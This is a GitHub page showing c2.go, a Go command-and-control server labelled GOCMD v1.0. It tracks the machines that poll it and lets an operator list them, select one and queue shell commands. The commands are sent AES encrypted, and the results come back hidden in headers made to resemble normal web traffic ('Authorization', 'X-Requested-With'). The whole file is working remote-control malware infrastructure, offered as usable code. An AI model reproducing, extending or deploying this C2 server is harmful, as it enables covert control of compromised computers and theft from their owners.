-
Notifications
You must be signed in to change notification settings - Fork 5
/
c2.go
169 lines (136 loc) · 3.57 KB
/
c2.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package main
import (
"bufio"
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"math/big"
"net/http"
"os"
"strings"
"time"
)
var host = make(map[string]string)
var chost = "0.0.0.0"
var cmd = ""
func C1reateRandomString(len int) string {
var container string
var str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
b := bytes.NewBufferString(str)
length := b.Len()
bigInt := big.NewInt(int64(length))
for i := 0;i < len ;i++ {
randomInt,_ := rand.Int(rand.Reader,bigInt)
container += string(str[randomInt.Int64()])
}
return container
}
func A1esCtrEncrypt(plainText, key []byte) string {
block, _:= aes.NewCipher(key)
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(plainText))
stream.XORKeyStream(dst, plainText)
return base64.URLEncoding.EncodeToString(dst)
}
func A1esCtrDecrypt(plainText, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
iv := bytes.Repeat([]byte("1"), block.BlockSize())
stream := cipher.NewCTR(block, iv)
dst := make([]byte, len(plainText))
stream.XORKeyStream(dst, plainText)
return dst, nil
}
func handlePostJson(writer http.ResponseWriter, request *http.Request) {
decoder := json.NewDecoder(request.Body)
var params map[string]string
decoder.Decode(¶ms)
host[request.RemoteAddr] = request.RemoteAddr
var r = make(map[string]string)
var m = "pong"
if len(cmd) > 0 {
m=cmd
}
action_,_ :=base64.URLEncoding.DecodeString(request.Header.Get("WWW"))
action,_ := A1esCtrDecrypt(action_,[]byte(request.Header.Get("Authorization")))
if string(action) =="resp" && chost== strings.Split(request.RemoteAddr, ":")[0] {
data_,_ :=base64.URLEncoding.DecodeString(params["data"])
resp,_ := A1esCtrDecrypt(data_,[]byte(request.Header.Get("X-Requested-With")))
fmt.Println(string(resp))
cmd = ""
}
cja := C1reateRandomString(16)
r["username"]= cja
r["info"] = A1esCtrEncrypt([]byte(m),[]byte(cja))
jsonStr, _ := json.Marshal(r)
fmt.Fprintf(writer,string(jsonStr))
}
func main() {
go func() {
http.HandleFunc("/", handlePostJson)
if err := http.ListenAndServe(":8082", nil); err != nil {
log.Fatal(err)
}
}()
var multilineStr =
`
<------------GOCMD--------->
<---------WELCOME TO USE THIS PROGRAM--------->
<---------v1.0 - Author - ACE86 --------->
<---------CMD: list -- list all host --------->
<---------CMD: select $ip -- connect to the host --------->
<---------CMD: exit -- exit --------->
`
fmt.Println(multilineStr)
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print("# ")
cmdString, err := reader.ReadString('\n')
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
err = runCommand(cmdString)
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
}
}
func runCommand(commandStr string) error {
commandStr = strings.TrimSuffix(commandStr, "\n")
arrCommandStr := strings.Fields(commandStr)
switch arrCommandStr[0] {
case "list":
for k := range host {
fmt.Println(strings.Split(k, ":")[0])
}
return nil
case "select":
reader := bufio.NewReader(os.Stdin)
for {
fmt.Print(arrCommandStr[1] + " $ ")
cmdString, err := reader.ReadString('\n')
chost = arrCommandStr[1]
cmd = cmdString
time.Sleep(2*time.Second)
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
err = runCommand(cmdString)
if err != nil {
fmt.Fprintln(os.Stderr, err)
}
}
return nil
case "exit":
os.Exit(0)
}
return nil
}